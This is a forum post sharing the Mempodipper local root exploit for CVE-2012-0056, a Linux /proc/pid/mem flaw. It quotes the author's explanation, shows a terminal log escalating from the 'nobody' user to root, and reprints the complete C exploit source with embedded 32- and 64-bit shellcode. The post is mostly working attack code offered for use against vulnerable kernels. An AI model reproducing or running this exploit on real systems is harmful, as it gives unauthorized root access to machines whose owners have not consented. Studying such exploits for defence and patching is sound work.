Rooting a Linux (>=2.6.39) box - mempodipper (CVE-2012-0056)

No replies
jip
jip's picture
Offline
SX Retired
Joined: 2011/11/06

I haven't been around much lately because I've been very busy. I thought I'd post the following for anyone who might have missed it. I am sure many of you have seen this recently, and some of you undoubtedly already knew about it since /proc/pid/mem has been a source of abuse for ages. The reason I'm posting this particular exploit is that many very recent kernels seem to be vulnerable, and the exploit seems to be quite reliable.

Check the following link for the original post by zx2c4: http://blog.zx2c4.com/749
Read it if you want to know how the exploit works.

The following is a quote from his post:
Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary process memory was removed. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. This means that all Linux kernels >=2.6.39 are vulnerable, up until the fix commit for it a couple days ago.

This is me testing his exploit on my fully updated Backtrack 5r1 box:

sh-4.1$ uname -sr
Linux 2.6.39.4
sh-4.1$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
sh-4.1$ ./mempodipper
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049a30.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3105/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049a24.
[+] Executing su with shellcode.
sh-4.1# id
uid=0(root) gid=0(root) groups=65534(nogroup)

Check the following link for his latest exploit code: http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
I tried to use source highlighting, but there seems to be an issue that's causing some zeroes to be stripped.

/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: <a href="http://blog.zx2c4.com/749<br />
" title="http://blog.zx2c4.com/749<br />
">http://blog.zx2c4.com/749<br />
</a> *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *prog_name;

int send_fd(int sock, int fd)
{
        char buf[1];
        struct iovec iov;
        struct msghdr msg;
        struct cmsghdr *cmsg;
        int n;
        char cms[CMSG_SPACE(sizeof(int))];

        buf[0] = 0;
        iov.iov_base = buf;
        iov.iov_len = 1;

        memset(&msg, 0, sizeof msg);
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = (caddr_t)cms;
        msg.msg_controllen = CMSG_LEN(sizeof(int));

        cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_len = CMSG_LEN(sizeof(int));
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

        if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
                return -1;
        close(sock);
        return 0;
}

int recv_fd(int sock)
{
        int n;
        int fd;
        char buf[1];
        struct iovec iov;
        struct msghdr msg;
        struct cmsghdr *cmsg;
        char cms[CMSG_SPACE(sizeof(int))];
       
        iov.iov_base = buf;
        iov.iov_len = 1;

        memset(&msg, 0, sizeof msg);
        msg.msg_name = 0;
        msg.msg_namelen = 0;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;

        msg.msg_control = (caddr_t)cms;
        msg.msg_controllen = sizeof cms;

        if ((n = recvmsg(sock, &msg, 0)) < 0)
                return -1;
        if (n == 0)
                return -1;
        cmsg = CMSG_FIRSTHDR(&msg);
        memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
        close(sock);
        return fd;
}

unsigned long ptrace_address()
{
        int fd[2];
        printf("[+] Creating ptrace pipe.\n");
        pipe2(fd, O_NONBLOCK);
        printf("[+] Forking ptrace child.\n");
        int child = fork();
        if (child) {
                close(fd[1]);
                char buf;
                printf("[+] Waiting for ptraced child to give output on syscalls.\n");
                for (;;) {
                        wait(NULL);
                        if (read(fd[0], &buf, 1) > 0)
                                break;
                        ptrace(PTRACE_SYSCALL, child, NULL, NULL);
                }
               
                printf("[+] Error message written. Single stepping to find address.\n");
                struct user_regs_struct regs;
                for (;;) {
                        ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
                        wait(NULL);
                        ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
                        if (instruction_pointer < upper_bound) {
                                unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
                                if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
                                        return instruction_pointer;
                        }
                }
        } else {
                printf("[+] Ptrace_traceme'ing process.\n");
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
                        perror("[-] ptrace");
                        return 0;
                }
                close(fd[0]);
                dup2(fd[1], 2);
                execl("/bin/su", "su", "not-a-valid-user", NULL);
        }
        return 0;
}

unsigned long objdump_address()
{
        FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
        if (!command) {
                perror("[-] popen");
                return 0;
        }
        char result[32];
        fgets(result, 32, command);
        pclose(command);
        return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
        printf("[+] Ptracing su to find next instruction without reading binary.\n");
        unsigned long address = ptrace_address();
        if (!address) {
                printf("[-] Ptrace failed.\n");
                printf("[+] Reading su binary with objdump to find exit@plt.\n");
                address = objdump_address();
                if (address == ULONG_MAX || !address) {
                        printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                        printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
                        exit(-1);
                }
        }
        printf("[+] Resolved call address to 0x%lx.\n", address);
        return address;
}

int su_padding()
{
        printf("[+] Calculating su padding.\n");
        FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
        if (!command) {
                perror("[-] popen");
                exit(1);
        }
        char result[256];
        fgets(result, 256, command);
        pclose(command);
        return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%d/mem", getppid());
        printf("[+] Opening parent mem %s in child.\n", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
                perror("[-] open");
                return 1;
        }
        printf("[+] Sending fd %d to parent.\n", fd);
        send_fd(sock, fd);
        return 0;
}

int parent(unsigned long address)
{
        int sockets[2];
        printf("[+] Opening socketpair.\n");
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
                perror("[-] socketpair");
                return 1;
        }
        if (fork()) {
                printf("[+] Waiting for transferred fd in parent.\n");
                int fd = recv_fd(sockets[1]);
                printf("[+] Received fd at %d.\n", fd);
                if (fd < 0) {
                        perror("[-] recv_fd");
                        return 1;
                }
                printf("[+] Assigning fd %d to stderr.\n", fd);
                dup2(2, 15);
                dup2(fd, 2);

                unsigned long offset = address - su_padding();
                printf("[+] Seeking to offset 0x%lx.\n", offset);
                lseek64(fd, offset, SEEK_SET);
               
#if defined(__i386__)
                // See shellcode-32.s in this package for the source.
                char shellcode[] =
                        "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
                        "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
                        "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
                        "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
                        "\x80";
#elif defined(__x86_64__)
                // See shellcode-64.s in this package for the source.
                char shellcode[] =
                        "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
                        "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
                        "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
                        "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
                        "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
                printf("[+] Executing su with shellcode.\n");
                execl("/bin/su", "su", shellcode, NULL);
        } else {
                char sock[32];
                sprintf(sock, "%d", sockets[0]);
                printf("[+] Executing child from child fork.\n");
                execl("/proc/self/exe", prog_name, "-c", sock, NULL);
        }
        return 0;
}

int main(int argc, char **argv)
{
        prog_name = argv[0];
       
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
                return child(atoi(argv[2]));
       
        printf("===============================\n");
        printf("=          Mempodipper        =\n");
        printf("=           by zx2c4          =\n");
        printf("=         Jan 21, 2012        =\n");
        printf("===============================\n\n");
       
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
                return parent(strtoul(argv[2], NULL, 16));
        else
                return parent(find_address());
       
}